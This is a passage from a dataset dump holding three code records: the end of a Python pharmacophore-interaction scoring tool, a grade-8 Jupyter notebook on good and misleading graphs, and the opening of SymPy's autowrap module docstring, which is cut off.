feature_type_list = self.feature_type_list + ['MBA']\n        model_idx_list = interaction_dict.keys()\n        for model_idx in model_idx_list:\n            interaction = interaction_dict[model_idx]\n            count_dict = dict()\n            w_count_dict = dict()\n            for feature_type_ligand in feature_type_list:\n                cfea_list = self.complementary_feature[feature_type_ligand]\n                for cfea in cfea_list:\n                    feature_type_protein = cfea[0]\n\n                    key = '%s:%s' % (feature_type_ligand, feature_type_protein)\n                    if key not in count_dict:\n                        count_dict[key] = 0\n                        w_count_dict[key] = 0\n                    if feature_type_ligand not in interaction:\n                        continue\n                    inter_i = interaction[feature_type_ligand]\n                    if feature_type_protein not in inter_i:\n                        continue\n                    if ((not include_hydrophobic)\n                            and feature_type_protein == 'Hydrophobic'):\n                        continue\n\n                    inter_ij_list = inter_i[feature_type_protein]\n                    for inter_ij in inter_ij_list:\n                        count_dict[key] += 1\n                        weight = inter_ij['weight']\n                        w_count_dict[key] += weight\n\n            score = 0\n            for key in self.interaction_feature:\n                if use_weight_pis:\n                    score += w_count_dict[key]*self.weight_pis[key]\n                else:\n                    score += w_count_dict[key]\n            if use_weight_pis:\n                score += self.bias_pis\n\n            count_dict['Score'] = score\n\n            total_count_dict[model_idx] = count_dict\n\n        return total_count_dict\n\n    def print_interaction(self, total_count_dict, total_count_info_dict,\n                          use_pinfo, print_option=1):\n        \"\"\"\n            input:\n                total_count_dict: from count_interaction\n                print_option:\n                    if 1, print interction in one line for one model.\n                    if 2, print interaction in multi lines.\n            output:\n                line_out_total: str\n        \"\"\"\n\n        line_out_total = ''\n\n        model_idx_list = total_count_dict.keys()\n        num_model = len(model_idx_list)\n        if print_option == 1:\n            line_out_title = 'Model_idx PIscore'\n            if use_pinfo:\n                line_out_title += ' Pinfo'\n            for key in self.interaction_feature:\n                line_out_title += ' %s' % (key)\n            line_out_total += line_out_title + '\\n'\n\n        for model_idx in model_idx_list:\n            count_dict = total_count_dict[model_idx]\n            if num_model > 1 and print_option == 2:\n                line_out = 'MODEL %d' % (model_idx + 1)\n                line_out_total += line_out + '\\n'\n            if print_option == 1:\n                line_out_value = '%d' % (model_idx + 1)\n                line_out_value += ' %.4f' % (count_dict['Score'])\n                if use_pinfo:\n                    count_info_dict = total_count_info_dict[model_idx]\n                    line_out_value += ' %.4f' % (count_info_dict['Score'])\n\n            for key in self.interaction_feature:\n                count = count_dict[key]\n                if print_option == 1:\n                    line_out_value += ' %d' % (count)\n\n                if count > 0 and print_option == 2:\n                    line_out = '%s %d\\n' % (key, count)\n                    line_out_total += line_out\n\n            if print_option == 2:\n                line_out = 'PIscore: %.4f\\n' % (count_dict['Score'])\n                if use_pinfo:\n                    count_info_dict = total_count_info_dict[model_idx]\n                    line_out += 'Pinfo %.4f\\n' % (count_info_dict['Score'])\n\n                line_out_total += line_out\n\n            if print_option == 1:\n                line_out_total += line_out_value + '\\n'\n\n        return line_out_total\n\n    def read_dock_config(self, dock_config):\n        fp = open(dock_config)\n        lines = fp.readlines()\n        fp.close()\n\n        for line in lines:\n            lis = line.strip().split('=')\n            if lis[0] == 'center_x':\n                center_x = float(lis[1])\n            elif lis[0] == 'center_y':\n                center_y = float(lis[1])\n            elif lis[0] == 'center_z':\n                center_z = float(lis[1])\n            elif lis[0] == 'size_x':\n                size_x = float(lis[1])\n            elif lis[0] == 'size_y':\n                size_y = float(lis[1])\n            elif lis[0] == 'size_z':\n                size_z = float(lis[1])\n\n        center = np.array((center_x, center_y, center_z), dtype=float)\n        size = np.array((size_x, size_y, size_z), dtype=float)\n        return center, size\n\n    def cal_piscore(self, ligand_file, pf_ligand_file, interaction_file):\n\n        ms = list(pybel.readfile('pdb', ligand_file))\n        num_model = len(ms)\n        if num_model > 1:\n            num_model = num_model - 1\n        if num_model < 1:\n            return None\n\n        m_ligand = ms[0]\n\n        PF_coor_ligand_dict = dict()\n        interaction_dict = dict()\n        if self.use_pinfo:\n            interaction_info_dict = dict()\n        ligand_bond_dict = self.get_bond_info(m_ligand)\n        PF_dict_ligand = self.find_PF(m_ligand, ligand_bond_dict)\n        for model_idx in range(num_model):\n            m_ligand = ms[model_idx]\n            PF_coor_ligand = self.find_PF_coor(m_ligand, PF_dict_ligand, ligand_bond_dict)\n            mba_coor = self.find_mba(m_ligand, is_protein=False)\n            PF_coor_ligand['MBA'] = mba_coor\n            PF_coor_ligand_dict[model_idx] = PF_coor_ligand\n            interaction = self.find_interaction(self.PF_coor_protein,\n                                                PF_coor_ligand,\n                                                ligand_bond_dict)\n\n            interaction_dict[model_idx] = interaction\n            if self.use_pinfo:\n                interaction_info = self.find_interaction(self.PF_coor_info,\n                                                         PF_coor_ligand,\n                                                         ligand_bond_dict)\n                interaction_info_dict[model_idx] = interaction_info\n\n        if pf_ligand_file is not None:\n            self.write_PF(PF_coor_ligand_dict, pf_ligand_file)\n\n        if interaction_file is not None:\n            self.write_interaction(interaction_dict, interaction_file)\n\n        total_count_dict = self.count_interaction(interaction_dict,\n                                                  use_weight_pis=True,\n                                                  include_hydrophobic=True)\n        if self.use_pinfo:\n            total_count_info_dict = self.count_interaction(\n                interaction_info_dict,\n                use_weight_pis=False,\n                include_hydrophobic=True)\n        else:\n            total_count_info_dict = None\n        return total_count_dict, total_count_info_dict\n\n\ndef set_pifinder(args):\n\n    piscore_receptor = args.piscore_receptor\n    pf_receptor = args.pf_receptor\n    pinfo_ligand = args.pinfo_ligand\n    pf_receptor_info = args.pf_receptor_info\n    pi_cutoff = args.pi_cutoff\n    include_hydrophobic = args.include_hydrophobic\n    dock_config = args.dock_config\n\n    params = dict()\n    weight_pis = {\n        'HBD:HBA': 0.129,\n        'HBA:HBD': 0.129,\n        'Anion:Cation': 0.31,\n        'Cation:Anion': 0.31,\n        'Cation:Aromatic': 0.039,\n        'Hydrophobic:Hydrophobic': 0.00585,\n        'Aromatic:Cation': 0.039,\n        'Aromatic:Aromatic': 0.064,\n        'MBA:Metal': 1.0\n    }\n    params['weight_pis'] = weight_pis\n    params['bias_pis'] = 4.0\n    params['cutoff'] = pi_cutoff\n    if dock_config is not None:\n        params['dock_config'] = dock_config\n    params['include_hydrophobic'] = include_hydrophobic\n    params['piscore_receptor'] = piscore_receptor\n    params['pf_receptor'] = pf_receptor\n    params['pinfo_ligand'] = pinfo_ligand\n    params['pf_receptor_info'] = pf_receptor_info\n\n    pharma = Pharmacophore(params)\n\n    return pharma\n\n\ndef main():\n\n    import sys\n    import argparse\n    title_line = 'Fixer for ligand pdb which is converted from pdbqt'\n    parser = argparse.ArgumentParser(description=title_line)\n    parser.add_argument('-r', '--piscore_receptor', required=False,\n                        default=None,\n                        help='input receptor pdb file')\n    parser.add_argument('-p', '--pf_receptor', required=False,\n                        default=None,\n                        help='output for pharmacophoric feature of receptor')\n    parser.add_argument('-t', '--pinfo_ligand', required=False,\n                        default=None, help='pinfo_ligand')\n    parser.add_argument('-u', '--pf_receptor_info', required=False,\n                        default=None,\n                        help='output for template feature of receptor')\n    parser.add_argument('-v', '--dock_config', type=str, required=False,\n                        default=None, help='dock_config_file')\n    parser.add_argument('-m', '--pi_cutoff', type=float, required=False,\n                        default=6.5,\n                        help='pharmacophoric interaction cutoff distance')\n    parser.add_argument('-l', '--ligand_file', required=True,\n                        help='input ligand pdb file')\n    parser.add_argument('-q', '--pf_ligand_file', required=False,\n                        default=None,\n                        help='write pharmacophoric feature of ligand')\n    parser.add_argument('--include_hydrophobic', action='store_true',\n                        required=False,\n                        help='include hydrophobic feature for template')\n    parser.add_argument('-i', '--interaction_file', required=False,\n                        default=None, help='write interaction')\n    parser.add_argument('--print_option', type=int, required=False, default=0,\n                        help='print_option 0:None, 1: one_line, 2: multi_line')\n\n#    draw_ligand = False\n    args = parser.parse_args()\n    if args.piscore_receptor is None and args.pf_receptor is None:\n        parser.print_usage()\n        print('error piscore_receptor and pf_receptor are None')\n        sys.exit()\n\n    pharma = set_pifinder(args)\n    use_pinfo = pharma.use_pinfo\n\n    ligand_file = args.ligand_file\n    pf_ligand_file = args.pf_ligand_file\n    interaction_file = args.interaction_file\n    print_option = args.print_option\n\n    result = pharma.cal_piscore(ligand_file, pf_ligand_file, interaction_file)\n    total_count_dict, total_count_info_dict = result\n\n#    if draw_ligand:\n#        size = (200, 200)\n#        fig_dir = 'fig'\n#        output_name = fig_dir + '/%s.png' % (ligand_file[:-3])\n#        m_rdkit_ligand = Chem.MolFromPDBFile(ligand_file, removeHs=True)\n#        pharma.draw_ligand(m_rdkit_ligand, PF_dict_ligand, output_name, size)\n\n    if print_option > 0:\n        lines_count = pharma.print_interaction(total_count_dict,\n                                               total_count_info_dict,\n                                               use_pinfo,\n                                               print_option=print_option)\n        print(lines_count.rstrip())\n\n\nif __name__ == '__main__':\n    main()\n", "meta": {"hexsha": "201967f4c3d5de52cd204a0e2e45a4acceec0486", "size": 58230, "ext": "py", "lang": "Python", "max_stars_repo_path": "pifinder/pifinder.py", "max_stars_repo_name": "gicsaw/PIFinder", "max_stars_repo_head_hexsha": "fe1dd1a04e9380522e4d201afffd79f7b947f3a8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pifinder/pifinder.py", "max_issues_repo_name": "gicsaw/PIFinder", "max_issues_repo_head_hexsha": "fe1dd1a04e9380522e4d201afffd79f7b947f3a8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pifinder/pifinder.py", "max_forks_repo_name": "gicsaw/PIFinder", "max_forks_repo_head_hexsha": "fe1dd1a04e9380522e4d201afffd79f7b947f3a8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.1228813559, "max_line_length": 100, "alphanum_fraction": 0.5093250902, "include": true, "reason": "import numpy", "num_tokens": 13410, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.523420348936324, "lm_q2_score": 0.15405755492358, "lm_q1q2_score": 0.08063685915437716}}
{"text": "![Callysto.ca Banner](https://github.com/callysto/curriculum-notebooks/blob/master/callysto-notebook-banner-top.jpg?raw=true)\n\n<a href=\"https://hub.callysto.ca/jupyter/hub/user-redirect/git-pull?repo=https%3A%2F%2Fgithub.com%2Fcallysto%2Fcurriculum-notebooks&branch=master&subPath=Mathematics/DataRepresentation/data-representation.ipynb&depth=1\" target=\"_parent\"><img src=\"https://raw.githubusercontent.com/callysto/curriculum-notebooks/master/open-in-callysto-button.svg?sanitize=true\" width=\"123\" height=\"24\" alt=\"Open in Callysto\"/></a>\n\nfrom IPython.display import HTML\nhide_me = ''\nHTML('''<script>\ncode_show=true; \nfunction code_toggle() {\n  if (code_show) {\n    $('div.input').each(function(id) {\n      el = $(this).find('.cm-variable:first');\n      if (id == 0 || el.text() == 'hide_me') {\n        $(this).hide();\n      }\n    });\n    $('div.output_prompt').css('opacity', 0);\n  } else {\n    $('div.input').each(function(id) {\n      $(this).show();\n    });\n    $('div.output_prompt').css('opacity', 1);\n  }\n  code_show = !code_show\n} \n$( document ).ready(code_toggle);\n</script>\n<form action=\"javascript:code_toggle()\"><input style=\"opacity:1\" type=\"submit\" value=\"Click here to toggle on/off the raw code.\"></form>''')\n\nhide_me\n\nfrom ipywidgets import interact\nimport ipywidgets as widgets\nimport IPython\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math\n\nimport plotly as py\nimport plotly.graph_objs as go\n\nimport pylab\n\nfrom IPython.display import Image, HTML, YouTubeVideo\n\n# Data Representation in Graphs\n\n### Grade 8 curriculum\n\nData plays an ever-increasing role in our lives. Like it or not, we are faced with numerical information every day, and we use it to make decisions. Should I be glad that 9 out of 10 dentists recommend my toothpaste? What about the 10th? A new study says that going for a run at 5 a.m. every morning reduces my risk of catching some terrible disease by 15%. Is it worth getting out of bed?\n\nIt's often hard to find\u00a0meaning in\u00a0data\u00a0if it's just a bunch of numbers on a page, so we make that easier by using graphs. Graphs take data and turn them into pictures\u2014bars, lines, circles, and more. But not all graphs are created equal; some do their jobs better than others. A good graph is a perfect tool for understanding a problem. A bad graph can be confusing, or in some cases, intentionally misleading.\n\nGraphs are used every day by news media, politicians, and scientists to convey information. Some use them well; some do not. In this notebook, we'll explore good and bad examples of graphs. By working through the examples and exercises in this notebook, you'll learn:\n\n- how to decide which type of graph is best for a given set of data;\n- how to identify flawed or misleading graphs;\n- how some of those flaws can be corrected; and\n- most importantly, how to read a graph and apply its meaning to your everyday life.\n\n\n*Many of the examples of bad graphs you'll find below are from the media (and one source in particular). This notebook isn't trying to criticize these sources. They just happen to have given us a lot of examples to choose from.*\n\n## What makes a good graph?\n\nFirst and most importantly, a graph should allow a reader, at a glance, to understand the information it's meant to convey. A good graph is like a good movie scene; if it's set up well, you can tell exactly what you're supposed to know. Some basic parts of a successful graph are:\n\n1. A title\n2. Proper labels\n3. Axes that start at zero (if numerical)\n4. Percentages that add to 100%\n5. Easy to read\n6. Use of colours, *as long as they are meaningful* and not just for show\n\n*By the way: **axes** (ACK-sees) are the reference lines on a graph. They're where you find the names of the categories (usually at the bottom) and the number scale (usually on the left).  One of these lines is called an **axis** (ACK-sis).*\n\nFor a quick overview of different types of graphs and simple examples, you might find this \n[Math Is Fun](https://www.mathsisfun.com/data/pictographs.html) article useful. We'll look at some of these kinds of graphs below. You'll notice many of them are eye-catching, and they also convey information really well.\n\nOne of the places you'll find a lot of graphs is in political coverage. The media (and many of their readers/viewers) love a good \"horse race\". For example, this [CBC federal poll tracking article](http://www.cbc.ca/news/politics/poll-tracker-federal-poll-averages-and-seat-projections-1.4171977) uses almost every type of graph you'll find in this notebook.\n\nWe'll also explore how a graph can be used to [mislead someone](http://teachersinstitute.yale.edu/curriculum/units/2008/6/08.06.06.x.html). We hope this notebook will help you learn how to avoid using misleading graphs, as well as how to avoid being misled yourself.\n\nThere's even a [wall of shame](http://bcuchta.com/wall_of_shame/) with some of the worst graphs and charts!\n\n## Let's look at bar graphs\n\n### What is a bar graph?\n\nA bar graph is a graph where data is separated into categories, and those categories are shown as bars with different heights. It's a very useful graph, but it can also easily be misleading.\n\n![picture](./images/bar-graph-fruit.svg)\n\nfrom [Math is Fun](https://mathsisfun.com/data/images/bar-graph-fruit.svg)\n\n### When are bar graphs good to use?\n\nBar graphs can be used in many ways, but they usually show one piece of information collected from many groups or categories. For example, they might show the number of hours worked by people in different age groups, or how many grey shirts each girl in a class owns.\n\n### What are some ways to misuse bar graphs?\n\n1. **Make the scale on the graph start above zero.** This makes small differences between bars look much bigger than they really are.\n2. **Change the width of the bars to make one category look more important.** This gives one bar more area, which looks like more data.\n3. **Remove the space between the bars** (that's a **histogram**). Histograms are used for a different kind of data set, and so they are read in a different way.\n\nHere's an example of a poorly made bar graph.  It shows the total welfare (support money) received by people in the US from 2009 to 2011.  Each year is divided into 4 three-month pieces called **quarters**.\n\n![picture](./images/fnc-an-20120809-welfarechart.jpg)\n\nfrom [MediaMatters](https://www.mediamatters.org/fox-news/today-dishonest-fox-charts-government-aid-edition)\n\nWhat makes this a bad bar graph?\n1. Their scale starts at 94 million insead of 0.\n2. The bars are in 3D, making their values harder to read.\n3. Their y-axis has 8 labels, but there are 10 levels on the graph (including the top and bottom).\n\nWhoever made this graph probably wanted the viewer to think welfare in the US is rising faster than it really is.  Now, let's ask ourselves:\n\n- What can we change to make this a good graph?\n- How does it look after we make these changes?\n- Why might the original creators not want to use our new graph?\n\nOne way we can improve this graph is by changing where its scale starts.  Play with the slider below to see how the graph looks with different scales.\n\n*Slide the slider below to change the starting point of the $y$-axis. The initial position corresponds to the graph in the image above. As you move the slider to the left, the starting point for the $y$-axis is reduced to zero.*\n\n*Warning: This graph is slow to respond, please be patient with it.*\n\nhide_me\n\ncolumns = ['09-Q1', '09-Q2', '09-Q3', '09-Q4', '10-Q1', '10-Q2','10-Q3', '10-Q4', '11-Q1', '11-Q2']\n#fig, ax = plt.subplots()\ndef plot(yaxis=94):\n    y = [97, 98, 99, 101, 104, 105, 106, 107, 107.5, 108]\n    x = np.arange(len(y))\n    fig, ax = plt.subplots(figsize=(10,4))\n    ax.bar(x, y, width=0.5)\n    ax.set_xticks(x)\n    ax.set_xticklabels(columns)\n    ax.set_ylim((yaxis,110))\n    ax.set_title(\"Federal Welfare Received in the US\")\n    \ninteract(plot, yaxis=(0,90), continuous_update = True, wait = False)\n#plt.show()\n\n## Let's look at pictographs\n\n### What is a pictograph?\n\nA pictograph is a way to show data using images, where each image represents a certain number of things that are being measured. They look a lot like bar graphs and they can be horizontal or vertical too.\n\n![picture](./images/pictograph-tennis.svg)\n\nfrom [Math is Fun](https://www.mathsisfun.com/data/images/pictograph-tennis.svg)\n\n### Why do people like to use pictographs?\n\nThe main reason is because the pictures offer something for readers to connect with other than just a row of coloured bars.\n\nAlso, pictographs often work best to show data with small numbers. If everything can be easily expressed with a simple scale like the one above, then a pictograph might be the right choice to represent the data.\n\n### When are pictographs not a good choice?\n\nIn the example above, what if Sam played 46 games instead of 45? This pictogram counts games in steps of 5, so numbers in between these steps might be hard or impossible to show.\n\nA reader might also make a connection with a pictograph that wasn't intended.  Let's show this with an example.\n\nOn Halloween, Shayna and Michael went trick-or-treating.  Shayna got 18 pieces of candy, and Michael got 36.  Their totals are shown in this pictograph:\n\n![picture](./images/halloween-candy-collected.jpg)\n\nfrom [teachersinstitute.yale.edu](http://teachersinstitute.yale.edu/curriculum/units/2008/6/08.06.06.x.html)\n\nAt first, is looks like a fine way to show how much candy each child got. The heights of the candy corn pieces are being used to mark the two amounts.  But as a viewer, we don't see just the height\u2014we also see the width. Not only is the second candy corn twice as high, it's also twice as wide, giving it four times the area as the first candy corn.  This makes it *look like* Michael got 4 times as much candy as Shayna, even though he only got twice as much.\n\nClick the \"Display\" button below to show a better, more accurate way to represent the same data:\n\nhide_me\n\npic = Image('images/CandyCornGraph.png')\nclicker = widgets.Checkbox(value=False, description='Display', disabled=False)\n\ndef checking(a):\n    if clicker.value == True:\n        IPython.display.display(pic)\n    else:\n        IPython.display.clear_output()\n        IPython.display.display(clicker)\n\nIPython.display.display(clicker)\nclicker.observe(checking, 'value')\n\n## Let's look at line graphs\n\n### What is a line graph?\n\nA line graph is a way to show how the measurement of one value responds to changes in another, like how something may change over time. In fact, time is one of the most common variables with a line graph.\n\n![picture](./images/line-graph-example.svg)\n\nfrom [Math is Fun](https://www.mathsisfun.com/data/images/line-graph-example.svg)\n\n### Why are line graphs useful?\n\nThey show a moving trend with a line that's easy to follow, instead of just dots on a graph. They work best when the trend involves the change of one variable (jobs, temperature, debt) with respect to another (usually time).\n\nIn some cases it can also be useful to plot multiple lines on one graph, usually with different colours to help tell them apart. For example, one might plot polling results for different political parties over time, as with this graph from the CBC:\n\n![federal polling averages](./images/poll-averages.jpg)\n\nfrom [cbc.ca](http://www.cbc.ca/polopoly_fs/1.3265490!/fileImage/httpImage/image.jpg)\n\n\n### How can line graphs go wrong?\n\nA common error with line graphs is unlabelled axes. A graph might show a line that slopes upwards, but without labels, we wouldn't know what is growing or how fast. Also, line graphs can trick us into thinking a trend is linear by spacing out the ticks unevenly on one axis, so that the data points neatly line up. Like this example:\n\n![Picture](./images/job-loss-by-quarter.png)\n\nfrom [Online Stat Book](http://onlinestatbook.com/2/graphing_distributions/graphics/graph2.png)\n\nhide_me\n\nfix = widgets.SelectionSlider(options=['original', 'fixed'], value ='original', description='Slide to fix',\n    continuous_update=True, orientation='horizontal',)\n\ndef fixing(a):\n    if fix.value == 'fixed':\n        IPython.display.clear_output()\n        IPython.display.display(fix)\n        f, ax1 = plt.subplots(1,1,figsize=(10,5))\n        ax1.set_title(\"Job Loss by Quarter\")\n        ax1.set_xlabel('Months from November 07',fontsize=15)\n        ax1.set_ylabel(\"Jobs Lost in Millions\",color='b',fontsize=15)\n        x1 = [1, 10, 16, 29]\n        y1 = [7,9,13.5,15]\n        ax1.plot(x1, y1,\"bo-\")\n        plt.legend()\n        plt.show()\n    else:\n        IPython.display.clear_output()\n        IPython.display.display(fix)\n        f, ax1 = plt.subplots(1,1,figsize=(10,5))\n        ax1.set_title(\"Job Loss by Quarter\")\n        ax1.set_xlabel('Months from November 07',fontsize=15)\n        ax1.set_ylabel(\"Jobs Lost in Millions\",color='b',fontsize=15)\n        x1 = [0,7,23,29]\n        y1 = [7,9,13.5,15]\n        ax1.plot(x1, y1,\"bo-\")\n        plt.legend()\n        plt.show()\n        \nIPython.display.display(fix)        \nfix.observe(fixing, 'value')\n\nIPython.display.clear_output()\nIPython.display.display(fix)\nf, ax1 = plt.subplots(1,1,figsize=(10,5))\nax1.set_title(\"Job Loss by Quarter\")\nax1.set_xlabel('Months from November 07',fontsize=15)\nax1.set_ylabel(\"Jobs Lost in Millions\",color='b',fontsize=15)\nx1 = [0,7,23,29]\ny1 = [7,9,13.5,15]\nax1.plot(x1, y1,\"bo-\")\nplt.legend()\nplt.show()\n\n## Let's look at circle graphs\n\n### What is a circle graph?\n\nAlso known as a pie chart, a circle graph is used to show how a total is split into different groups. The whole pie represents the total, and each slice of the pie represents a different group.  Each slice gets as much of the pie as its group has of the total\u2014the bigger the slice, the more of the total that group represents.\n\n![picture](./images/pie-chart-movies.svg)\n\nfrom [Math is Fun](https://www.mathsisfun.com/data/images/pie-chart-movies.svg)\n\n### Why are circle graphs useful?\n\nThey make it easy to compare group sizes; if there's a biggest or smallest group, that's easy to see, since group sizes are shown as pieces of a whole.\n\n### Why might people not use circle graphs?\n\nTo be displayed as a circle graph, data must be converted into percentages of the total, then into slices of a circle, which is more work than other graphs need. Plus, it's easy to mess up if the data are not converted properly (or at all). Circle graphs are also hard to draw accurately on paper, since you need a protractor to ensure your angles are correct. Some people might even say that any time a circle graph would do, a bar graph would do better, and that the pie chart below is the only acceptable one.\n\n![picture](./images/Pie-I-have-Eaten.jpg)\n\nfrom [Flowing Data](https://i1.wp.com/flowingdata.com/wp-content/uploads/2008/09/Pie-I-have-Eaten.jpg)\n\n********************\n\n### What's wrong with these graphs?\n\n![Picture](./images/unemployment-rate.jpg)\n\n[Business Insider](https://amp.businessinsider.com/images/51cb26c469beddf14c000015-750-453.jpg)\n\n![Picture](./images/candidates-pie.png)\n\n[Flowing Data](http://flowingdata.com/wp-content/uploads/yapb_cache/app15725951258947184.acq6gmp0hf4sowckg80ssc8wg.2xne1totli0w8s8k0o44cs0wc.th.png)\n\n![Picture](./images/130207SuperBowlPoll.jpg)\n\n[Flowing Data](https://i0.wp.com/flowingdata.com/wp-content/uploads/2013/03/130207SuperBowlPoll.jpg?fit=500%2C430&ssl=1)\n\n\n## What was wrong with these graphs?\n\n1. Mislabeled/Missing axes\n2. Plotted wrong\n3. Hard to read\n4. Numbers don't add to 100%\n5. Wrong data shown\n\nThe video below goes through several examples of bad/misleading graphs (some of them shown in this notebook) and why they are not good representations of the original data.\n\nhide_me\n\nYouTubeVideo('1F7gm_BG0iQ')\n\n*************\n\n## Practice Questions\n\n### Question 1\n\nA group of kids was asked **what they do first** when they get home from school. The data are shown in the table below. [Data source here](http://www.ur.umich.edu/9900/Apr03_00/7.htm)\n\n| Activity        | Percent|\n|-----------------|-----|\n|   Eat           | 27% |\n|   Personal Care | 19% |\n|   Watch TV      | 15% |\n|   Study         | 13% |\n|   Play          | 9%  |\n|   Other         | 17% |\n\nhide_me\n\nanswer = widgets.RadioButtons(options=['','circle graph', 'line graph', 'bar graph', 'pictograph'],\n                              value='', description='Answer:')\nlabels = ['Eat', 'Personal Care', 'Watch TV', 'Study', 'Play', 'Other']\ndata = [0.27, 0.19, 0.15, 0.13, 0.09, 0.17]\n\ndef display():\n    print('What would be the best graph to display this set of data?')\n    IPython.display.display(answer)\n\ndef check(a):\n    IPython.display.clear_output(wait=False)\n    display()\n    if answer.value == 'circle graph':\n        print(\"Correct! Circle graphs are used for percentages.\")\n        print(\"Let's see this data in a circle graph.\")\n        patches, texts = plt.pie(data, labels=labels)\n        plt.axis('equal')\n        plt.tight_layout()\n        plt.show()\n    else:\n        if answer.value == 'bar graph':\n            print(\"A Bar graph would work, but there's a better option. Try again.\")\n        else:\n            if answer.value == 'line graph':\n                print(\"Line graphs are good for change over time, not percentages. Try again.\")\n            else:\n                print(\"A pictograph would work if the data was in amounts instead of percentages. Try again.\")\n\ndisplay()\nanswer.observe(check, 'value')\n\n### Question 2\n\nA group of kids was asked **how much time** they spend doing different activities after school.  The data are shown in the table below. [Data source here](http://www.ur.umich.edu/9900/Apr03_00/7.htm)\n\n| Activity        | Time spent (minutes)|\n|-----------------|-----|\n|   Reading       | 30  |\n|  Chores         | 30  |\n|   Watch TV      | 100 |\n|   Study         | 60  |\n|   Play          | 74  |\n|   Sports        | 60  |\n\nhide_me\n\nanswer2 = widgets.RadioButtons(options=['','circle graph', 'line graph', 'bar graph', 'pictograph'],\n                              value='', description='Answer:')\nlabels2 = ['Reading', 'Chores', 'Watch TV', 'Study', 'Play', 'Sports']\ndata2 = [30, 30, 100, 60, 74, 60]\nx = np.arange(len(data2))\n\ndef display2():\n    print('What would be the best graph to display this set of data?')\n    IPython.display.display(answer2)\n\ndef check(a):\n    IPython.display.clear_output(wait=False)\n    display2()\n    if answer2.value == 'circle graph':\n        print(\"A circle graph is used for percentages. Try again.\")\n    else:\n        if answer2.value == 'bar graph':\n            print(\"Correct! A bar graph shows the relation between both parameters in an easy to read format.\")\n            print(\"Let's see what that looks like.\")\n            plt.bar(x, data2, width = .3)\n            plt.xticks(x, labels2)\n            plt.ylabel('Time in Minutes')\n            plt.title('Time Spent on Afterschool Activities')\n            plt.show()\n        else:\n            if answer2.value == 'line graph':\n                print(\"Line graphs are good for change over time. Try again.\")\n            else:\n                print(\"A pictograph would work, but there's a better option to be more accurate. Try again.\")\n\ndisplay2()\nanswer2.observe(check, 'value')\n\nNow that we have seen many examples of both good and bad graphs, let's look at [the worst graphs in science literature](https://www.biostat.wisc.edu/~kbroman/topten_worstgraphs/) and try to figure out why each graph is on the list.\n\n(You can click on a graph to make it bigger.  See if you can point out the flaws in these graphs on your own, then click the \"Discussion\" links to learn what's wrong with each graph and why it made it to the list!)\n\n*Even top academic institutions sometimes produce images that, while they might look impressive, do very little to help us understand the numbers involved in an issue. Try to figure out what's wrong with these\n[infographics from Princeton](http://www.princeton.edu/~ina/infographics/index.html) on your own.*\n\n## What have we learned?\n\nIn this notebook, we have learned:\n\n* Graphs are great at conveying numerical information\n* Not all types of graphs are created equal\n* Graphs can be manipulated to be misleading\n* How to identify misleading parts of graphs \n* There are steps to create truthful graphs\n\nWith this knowledge, you are able to be more informed when you see any kind of data displayed in a graph. You are also able to create truthful graphs of your own. Keep trying to identify good and bad graphs in your every day life.\n\n[![Callysto.ca License](https://github.com/callysto/curriculum-notebooks/blob/master/callysto-notebook-banner-bottom.jpg?raw=true)](https://github.com/callysto/curriculum-notebooks/blob/master/LICENSE.md)", "meta": {"hexsha": "3ec2b33745f0d083c39ad0e29c2eae94791bc2cf", "size": 20668, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/curriculum-notebooks/Mathematics/DataRepresentation/data-representation.py", "max_stars_repo_name": "BryceHaley/curriculum-jbook", "max_stars_repo_head_hexsha": "d1246799ddfe62b0cf5c389394a18c2904383437", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-18T18:19:40.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-18T18:19:40.000Z", "max_issues_repo_path": "_build/jupyter_execute/curriculum-notebooks/Mathematics/DataRepresentation/data-representation.py", "max_issues_repo_name": "callysto/curriculum-jbook", "max_issues_repo_head_hexsha": "ffb685901e266b0ae91d1250bf63e05a87c456d9", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/curriculum-notebooks/Mathematics/DataRepresentation/data-representation.py", "max_forks_repo_name": "callysto/curriculum-jbook", "max_forks_repo_head_hexsha": "ffb685901e266b0ae91d1250bf63e05a87c456d9", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 47.0797266515, "max_line_length": 512, "alphanum_fraction": 0.7155022257, "include": true, "reason": "import numpy", "num_tokens": 5169, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3486451353339458, "lm_q2_score": 0.2309197576365038, "lm_q1q2_score": 0.08050905015246083}}
{"text": "\"\"\"Module for compiling codegen output, and wrap the binary for use in\npython.\n\n.. note:: To use the autowrap module it must first be imported\n\n   >>> from sympy.utilities.autowrap import autowrap\n\nThis module provides a common interface for different external backends, such\nas f2py, fwrap, Cython, SWIG(?) etc. (Currently only f2py and Cython are\nimplemented) The goal is to provide access to compiled binaries of acceptable\nperformance with a one-button user interface, i.e.\n\n    >>> from sympy.abc import x,y\n    >>> expr = ((x - y)**(25)).expand()\n    >>> binary_callable = autowrap(expr)\n    >>> binary_callable(1, 2)\n    -1.0\n\nThe callable returned from autowrap() is a binary python function, not a\nSymPy object.  If it is desired to use the compiled function in symbolic\nexpressions, it is better to use binary_function() which returns a SymPy\nFunction object.  The binary callable is attached as the _imp_ attribute and\ninvoked when a numerical evaluation is requested with evalf(), or with\nlambdify().\n\n    >>> from sympy.utilities.autowrap import binary_function\n    >>> f = binary_function('f', expr)\n    >>> 2*f(x, y) + y\n    y + 2*f(x, y)\n    >>> (2*f(x, y) + y).evalf(2, 